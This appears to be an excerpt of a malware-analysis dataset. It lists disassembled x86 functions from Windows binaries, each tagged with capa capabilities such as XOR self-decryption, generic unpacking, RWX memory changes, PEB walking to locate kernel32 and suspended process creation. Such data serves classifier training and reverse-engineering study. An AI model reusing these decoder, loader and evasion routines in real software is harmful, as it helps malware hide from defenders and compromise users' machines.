joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4042f4
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x404333
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x404333
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x404333
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x404333
cmp dword [ecx + 0x74], 0xe
jbe 0x404333
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40eb68
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40ec3d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40ec58
push ebx
push 0x40ec68
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.0040513c
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00403250
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404d24
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x40ebe8
mov al, 0x6a
call fcn.0040e788
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.0040eb3c
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
cmp eax, 1
je 0x40ebf1
call fcn.0040eb3c
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ec44
lea eax, [ebp - 4]
call fcn.00404c88
ret

Function at 0x40ed58
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo_1
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x40ee23
jmp 0x40ee17
cmp dword [esi + 0x10], 0x1000
jne 0x40ee03
test byte [esi + 0x15], 1
jne 0x40ee03
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x40edb4
cmp ebp, 2
je 0x40edb4
cmp ebp, 0x10
je 0x40edb4
cmp ebp, 0x20
jne 0x40edd0
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x40edd0
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x40ede1
mov eax, dword [esi]
add eax, ebx
call fcn.0040ed50
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x40edd4
cmp byte [esp + 4], 0
je 0x40ee03
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x40ee23
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x40ed89
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x403d39
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 0xc], esi
jbe 0x403e85
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDisablePredefinedCacheEx]
push edi
mov edi, dword [esp + 0x10]
call ebx
add byte [esi + edi], 2
call ebx
add byte [esi + edi], 0xe6
call ebx
xor byte [esi + edi], 0x6c
call ebx
add byte [esi + edi], 0xde
call ebx
add byte [esi + edi], 0x82
call ebx
add byte [esi + edi], 0x81
call ebx
add byte [esi + edi], 0x4e
call ebx
xor byte [esi + edi], 0x26
call ebx
add byte [esi + edi], 0x41
call ebx
add byte [esi + edi], 0x21
call ebx
xor byte [esi + edi], 0x1f
call ebx
add byte [esi + edi], 0xd6
call ebx
add byte [esi + edi], 0xe
call ebx
add byte [esi + edi], 0x10
call ebx
add byte [esi + edi], 0x8d
call ebx
add byte [esi + edi], 0x4a
call ebx
xor byte [esi + edi], 8
call ebx
add byte [esi + edi], 0x17
call ebx
add byte [esi + edi], 0xd5
call ebx
add byte [esi + edi], 0x82
call ebx
add byte [esi + edi], 0xf2
call ebx
add byte [esi + edi], 0x5e
call ebx
add byte [esi + edi], 0x90
call ebx
add byte [esi + edi], 0xf2
call ebx
add byte [esi + edi], 0x3b
call ebx
xor byte [esi + edi], 0x86
call ebx
add byte [esi + edi], 0xdf
call ebx
add byte [esi + edi], 4
call ebx
add byte [esi + edi], 0xab
call ebx
add byte [esi + edi], 0xf1
call ebx
add byte [esi + edi], 0xd8
call ebx
xor byte [esi + edi], 0xcf
call ebx
xor byte [esi + edi], 0x71
call ebx
xor byte [esi + edi], 6
call ebx
add byte [esi + edi], 0x25
call ebx
add byte [esi + edi], 0x39
call ebx
xor byte [esi + edi], 0x5e
call ebx
add byte [esi + edi], 0x2e
call ebx
add byte [esi + edi], 3
call ebx
xor byte [esi + edi], 0x8f
call ebx
add byte [esi + edi], 0x12
call ebx
xor byte [esi + edi], 0x39
call ebx
add byte [esi + edi], 0x51
call ebx
xor byte [esi + edi], 0x6c
call ebx
add byte [esi + edi], 0xf4
call ebx
xor byte [esi + edi], 0x9d
call ebx
add byte [esi + edi], 0x8f
call ebx
add byte [esi + edi], 0x94
call ebx
add byte [esi + edi], 0x6c
inc esi
cmp esi, dword [esp + 0x14]
jb 0x403d52
pop edi
pop ebx
pop esi
ret

Function at 0x403f0f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x20
mov eax, dword [0x45a6ec]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x30]
xor ebp, ebp
push edi
mov eax, dword [esi + 0x3c]
mov ebx, dword [eax + esi + 0x78]
add ebx, esi
mov edi, dword [ebx + 0x20]
mov eax, dword [ebx + 0x18]
add edi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x403f78
mov eax, dword [edi]
lea ecx, [esp + 0x14]
add eax, esi
push eax
call fcn.00401b44
lea eax, [esp + 0x14]
push 0x14d
push eax
call fcn.004040e6
pop ecx
pop ecx
cmp eax, dword [esp + 0x38]
je 0x403f90
lea ecx, [esp + 0x14]
add edi, 4
call fcn.00403ab2
inc ebp
cmp ebp, dword [esp + 0x10]
jb 0x403f40
xor edi, edi
mov ecx, dword [esp + 0x2c]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405f4c
add esp, 0x20
ret
mov eax, dword [ebx + 0x24]
lea eax, [eax + ebp*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x14]
call fcn.00403ab2
jmp 0x403f7a
Function at 0x4040e6
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
lea ebp, [esi + 0x10]
mov edi, dword [ebp]
mov ebx, edi
xor ebx, dword [esp + 0x1c]
cmp dword [esi + 0x14], 0x10
mov dword [esp + 0x10], ebp
jb 0x40410b
mov esi, dword [esi]
mov dword [esp + 0x18], esi
push esi
shr edi, 2
push edi
push str._x_and__p
call fcn.004043ba
add esp, 0xc
test edi, edi
je 0x404166
mov ebp, esi
mov esi, edi
push 4
lea eax, [esp + 0x20]
push ebp
push eax
call fcn.00406ab0
imul ecx, dword [esp + 0x28], 0x5bd1e991
add esp, 0xc
imul ebx, ebx, 0x5bd1e991
add ebp, 4
mov eax, ecx
shr eax, 0x18
xor eax, ecx
imul eax, eax, 0x5bd1e991
xor ebx, eax
mov dword [esp + 0x1c], eax
sub esi, 1
jne 0x404125
mov esi, dword [esp + 0x18]
mov ebp, dword [esp + 0x10]
mov eax, dword [ebp]
xor ecx, ecx
and eax, 3
sub eax, 1
je 0x40418f
sub eax, 1
je 0x404185
sub eax, 1
jne 0x40419d
movsx ecx, byte [esi + edi*4 + 2]
shl ecx, 0x10
movsx eax, byte [esi + edi*4 + 1]
shl eax, 8
xor ecx, eax
movsx eax, byte [esi + edi*4]
xor eax, ecx
imul eax, eax, 0x5bd1e991
xor ebx, eax
mov eax, ebx
shr eax, 0xd
xor eax, ebx
imul ecx, eax, 0x5bd1e991
pop edi
pop esi
pop ebp
pop ebx
mov eax, ecx
shr eax, 0xf
xor eax, ecx
pop ecx
ret

Function at 0x4041c3
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push esi
push edi
push 1
call dword [sym.imp.USER32.dll_GetClipCursor]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x45bca0], eax
pop edi
pop esi
ret

Function at 0x4066de
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40671d
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40671d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40671d
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40671d
cmp dword [ecx + 0x74], 0xe
jbe 0x40671d
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40d09a
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41bd28
push 0x41bd20
push str.FlsAlloc
push 0x1e
call fcn.0040cf5b
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d0ce
push dword [ebp + 8]
mov ecx, esi
call dword [0x419184]
call esi
jmp 0x40d0d4
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40d118
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41bd38
push 0x41bd30
push str.FlsGetValue
push 0x20
call fcn.0040cf5b
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d14f
push dword [ebp + 8]
mov ecx, esi
call dword [0x419184]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x40ae3f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x821d78]
jne 0x40ae49
repz ret
jmp fcn.0040d9dc

Function at 0x40d483
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x821d78]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040654a
and dword [ebp - 0x14], 0
cmp dword [0x825744], 0
mov dword [ebp - 0x18], eax
jne 0x40d536
push 0x402be4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40d5de
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402bd8
push ebx
call edi
test eax, eax
je 0x40d5de
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x402bc8
push ebx
mov dword [0x825744], eax
call edi
push eax
call esi
push 0x402bb4
push ebx
mov dword [0x825748], eax
call edi
push eax
call esi
push 0x402b98
push ebx
mov dword [0x82574c], eax
call edi
push eax
call esi
mov dword [0x825754], eax
test eax, eax
je 0x40d536
push 0x402b80
push ebx
call edi
push eax
call esi
mov dword [0x825750], eax
mov eax, dword [0x825750]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40d58f
cmp dword [0x825754], ecx
je 0x40d58f
push eax
call esi
push dword [0x825754]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40d58f
test ebx, ebx
je 0x40d58f
call edi
test eax, eax
je 0x40d586
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40d586
test byte [ebp - 8], 1
jne 0x40d58f
or dword [ebp + 0x10], 0x200000
jmp 0x40d5c2
mov eax, dword [0x825748]
cmp eax, dword [ebp - 0x18]
je 0x40d5c2
push eax
call esi
test eax, eax
je 0x40d5c2
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40d5c2
mov eax, dword [0x82574c]
cmp eax, dword [ebp - 0x18]
je 0x40d5c2
push eax
call esi
test eax, eax
je 0x40d5c2
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x825744]
call esi
test eax, eax
je 0x40d5de
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40d5e0
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ae3f
leave
ret
Function at 0x809420
Capabilities:
Accept command line arguments
Delete directory
Get common file path

Disassembly:
mov eax, 0x1020
call fcn.0040e960
cmp dword [0x26676cc], 0x37
jne 0x8094da
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x403448
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
lea eax, [esp + 0x424]
push eax
push 0x403458
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea ecx, [esp + 0x824]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea edx, [esp + 4]
push edx
push 0
lea eax, [esp + 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
lea ecx, [esp + 8]
push ecx
push 0x4034b0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
lea edx, [esp + 0x20]
push edx
push 0
push 0x4034b8
push 0x4034c8
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0
push 0x403518
push 0x4035d8
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov eax, dword [0x26676d0]
mov dword [esp], eax
mov eax, 0x5d1
add dword [esp], eax
mov ecx, dword [esp]
mov dl, byte [ecx + esi]
mov eax, dword [0x82a85c]
mov byte [eax + esi], dl
add esp, 0x1020
ret

Function at 0x809510
Capabilities:
Manipulate console buffer

Disassembly:
sub esp, 0x64
mov ecx, dword [esp + 0x68]
mov eax, dword [ecx]
mov edx, dword [0x822388]
push ebx
push ebp
mov ebp, dword [0x822384]
push esi
mov esi, dword [ecx + 4]
mov ecx, dword [0x822380]
mov dword [esp + 0x24], ecx
mov ecx, dword [0x82238c]
mov ebx, 0xc6ef3720
push edi
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ebx
mov dword [esp + 0x24], edx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x1c], 0x20
jmp 0x809564
mov eax, dword [esp + 0x14]
mov edx, eax
mov ecx, eax
shr edx, 5
add edx, dword [esp + 0x20]
shl ecx, 4
add ecx, dword [esp + 0x24]
add eax, ebx
xor edx, ecx
xor edx, eax
sub esi, edx
mov ecx, esi
shl ecx, 4
mov dword [0x265d67c], 0
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x28]
add dword [esp + 0x10], eax
cmp dword [0x26676cc], 0x1be
lea edi, [ebx + esi]
jne 0x8095b9
lea edx, [esp + 0x2c]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov eax, esi
shr eax, 5
add eax, ebp
xor eax, edi
xor dword [esp + 0x10], eax
mov dword [0x265d680], 0xff6b3619
mov dword [0x265d684], 0xffffffff
mov eax, dword [esp + 0x10]
sub dword [esp + 0x14], eax
mov ecx, dword [0x26676cc]
cmp ecx, 0x93
je 0x8095fd
lea eax, [esp + 0x18]
call fcn.00809500
mov ebx, dword [esp + 0x18]
dec dword [esp + 0x1c]
jne 0x809560
cmp ecx, 0x8d4
jne 0x809631
lea ecx, [esp + 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, dword [esp + 0x78]
mov edx, dword [esp + 0x14]
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
mov dword [eax], edx
pop ebx
add esp, 0x64
ret 4
mov eax, dword [esp + 0x78]
mov ecx, dword [esp + 0x14]
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
mov dword [eax], ecx
pop ebx
add esp, 0x64
ret 4
Function at 0x809650
Capabilities:
Manipulate console buffer

Disassembly:
push ecx
mov eax, dword [0x26676cc]
shr eax, 3
push esi
mov esi, dword [0x82a85c]
test eax, eax
je 0x809694
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push edi
mov edi, eax
mov edi, edi
cmp dword [0x26676cc], 0x1c
jne 0x809686
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0
call ebx
push esi
call fcn.00809510
add esi, 8
dec edi
jne 0x809670
pop edi
pop ebx
pop esi
pop ecx
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x4659a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x457015
lea edi, [esi - 0x56015]
push edi
or ebp, 0xffffffff
jmp 0x4659c2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4659c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4659b8
mov eax, 1
add ebx, ebx
jne 0x4659db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4659d0
jne 0x4659ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4659d0
xor ecx, ecx
sub eax, 3
jb 0x465a00
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x465a72
mov ebp, eax
add ebx, ebx
jne 0x465a0b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x465a18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x465a3c
inc ecx
add ebx, ebx
jne 0x465a28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x465a1d
jne 0x465a39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x465a1d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x465a5c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x465a4d
jmp 0x4659be
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x465a5c
add edi, ecx
jmp 0x4659be
pop esi
mov edi, esi
mov ecx, 0x33e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x465a7a
cmp byte [edi], 0
jne 0x465a7a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x465a7f
lea edi, [esi + 0x63000]
mov eax, dword [edi]
or eax, eax
je 0x465aee
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x651f0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x65254]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x465aac
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x65258]
or eax, eax
je 0x465ae8
mov dword [ebx], eax
add ebx, 4
jmp 0x465ac9
call dword [esi + 0x6525c]
popal
jmp 0x40da18

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x432030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x401f78
Capabilities:
Terminate process

Disassembly:
push 0x58
push 0x404230
call fcn.004020dc
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, 0x405478
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
test eax, eax
je 0x401d39
cmp eax, esi
jne 0x401d2c
xor esi, esi
inc esi
mov ebx, esi
jmp 0x401d3c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401d13
xor esi, esi
inc esi
mov eax, dword [0x405474]
cmp eax, esi
jne 0x401d4f
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x401d7e
mov eax, dword [0x405474]
test eax, eax
jne 0x401d78
mov dword [0x405474], esi
push 0x4030e4
push 0x4030d8
call fcn.00401c82
pop ecx
pop ecx
test eax, eax
je 0x401d7e
jmp 0x401ea6
mov dword [0x40513c], esi
mov eax, dword [0x405474]
cmp eax, esi
jne 0x401da2
push 0x4030d4
push 0x4030cc
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x405474], 2
test ebx, ebx
jne 0x401dae
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x40547c], 0
je 0x401dd2
push 0x40547c
call fcn.00402064
pop ecx
test eax, eax
je 0x401dd2
push 0
push 2
push 0
call dword [0x40547c]
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x401e2e
test al, al
je 0x401dec
cmp dword [ebp - 0x1c], 0
jne 0x401e2e
mov al, byte [esi]
test al, al
je 0x401dfc
cmp al, 0x20
ja 0x401dfc
inc esi
mov dword [ebp - 0x20], esi
jmp 0x401dec
test byte [ebp - 0x3c], 1
je 0x401e08
movzx eax, word [ebp - 0x38]
jmp 0x401e0b
push 0xa
pop eax
push eax
push esi
push 0
push 0x400000
call main
mov dword [0x405138], eax
cmp dword [0x40512c], 0
jne 0x401e82
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp al, 0x22
jne 0x401e3d
xor ecx, ecx
cmp dword [ebp - 0x1c], ecx
sete cl
mov dword [ebp - 0x1c], ecx
movzx eax, al
push eax
call dword [sym.imp.msvcrt.dll__ismbblead]
pop ecx
test eax, eax
je 0x401e50
inc esi
mov dword [ebp - 0x20], esi
inc esi
jmp 0x401dd9
cmp dword [0x40513c], 0
jne 0x401e91
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x405138]
jmp 0x401eb2
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.00402121
ret
call fcn.0040220b
jmp 0x401cd9
Function at 0x406371
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x238
mov eax, 0x40e86a
call fcn.0040d30f
mov dword [ebp - 0x21c], ecx
movzx eax, word [ebp + 8]
xor edi, edi
mov esi, dword [0x4166e8]
inc edi
push 0xf0
push eax
push esi
call dword [sym.imp.kernel32.dll_FindResourceW]
test eax, eax
je 0x4064e2
push eax
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
test eax, eax
je 0x4064e2
push eax
call dword [sym.imp.kernel32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4064e2
movzx eax, word [esi]
xor ecx, ecx
cmp cx, ax
je 0x4064e2
mov ecx, dword [esi + 4]
mov ebx, eax
movzx eax, word [esi + 2]
add esi, 8
mov dword [ebp - 0x220], ecx
mov ecx, 0x403
cmp cx, ax
jne 0x40645b
push 3
lea eax, [ebp - 0x110]
push esi
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x114], eax
call main
push dword [ebp - 0x114]
mov eax, dword [ebp - 0x21c]
and dword [ebp - 4], 0
push 0
push 0x143
push ebx
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
xor ecx, ecx
cmp eax, 0xffffffff
lea eax, [ebp - 0x110]
cmove edi, ecx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x114], eax
je 0x4064d4
push dword [ebp - 0x114]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x4064d4
mov ecx, 0x1234
cmp cx, ax
jne 0x4064d4
or dword [ebp - 0x240], 0xffffffff
lea eax, [ebp - 0x214]
push 3
push esi
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x244], 1
mov dword [ebp - 0x218], eax
call main
mov eax, dword [ebp - 0x218]
lea ecx, [ebp - 0x214]
mov dword [ebp - 0x23c], eax
cmp eax, ecx
je 0x4064ae
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
lea eax, [ebp - 0x244]
push eax
mov eax, dword [ebp - 0x21c]
push 0
push 0x40b
push ebx
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
xor ecx, ecx
cmp eax, 0xffffffff
cmove edi, ecx
add esi, dword [ebp - 0x220]
test edi, edi
jne 0x4063c9
mov eax, edi
call fcn.0040d2ca
ret 4

Function at 0x40ab42
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x40ab51
pop dword [ebp - 0x30]
mov eax, 0xb660c3b
sub eax, 0xb2560ea
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x39c29
push 0
mov eax, 0xef796919
add eax, 0x10c78777
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x4d6d
xor esi, esi
add esi, eax
mov edi, 0xc1876af8
sub edi, 0xc145c0f8
add edi, dword [ebp - 0x30]
mov ebx, 0xc3b947f2
add ebx, 0x728fcb73
sub dword [ebp - 0x24], edx
mov edx, dword [edi]
xor dword [ebp - 0x2c], ecx
xor edx, ebx
mov dword [ebp - 0x24], 0xdf6e1b3f
mov dword [esi], edx
sub dword [ebp - 0x24], ecx
add esi, 0xc4f874a7
add esi, 0x3b078b5d
add edi, 4
loop 0x40abac
add eax, 0x43930c8b
add eax, 0xbc6e1bfc
xor ebx, ebx
add ebx, eax
add eax, 0x464f9038
sub eax, 0x464f9033
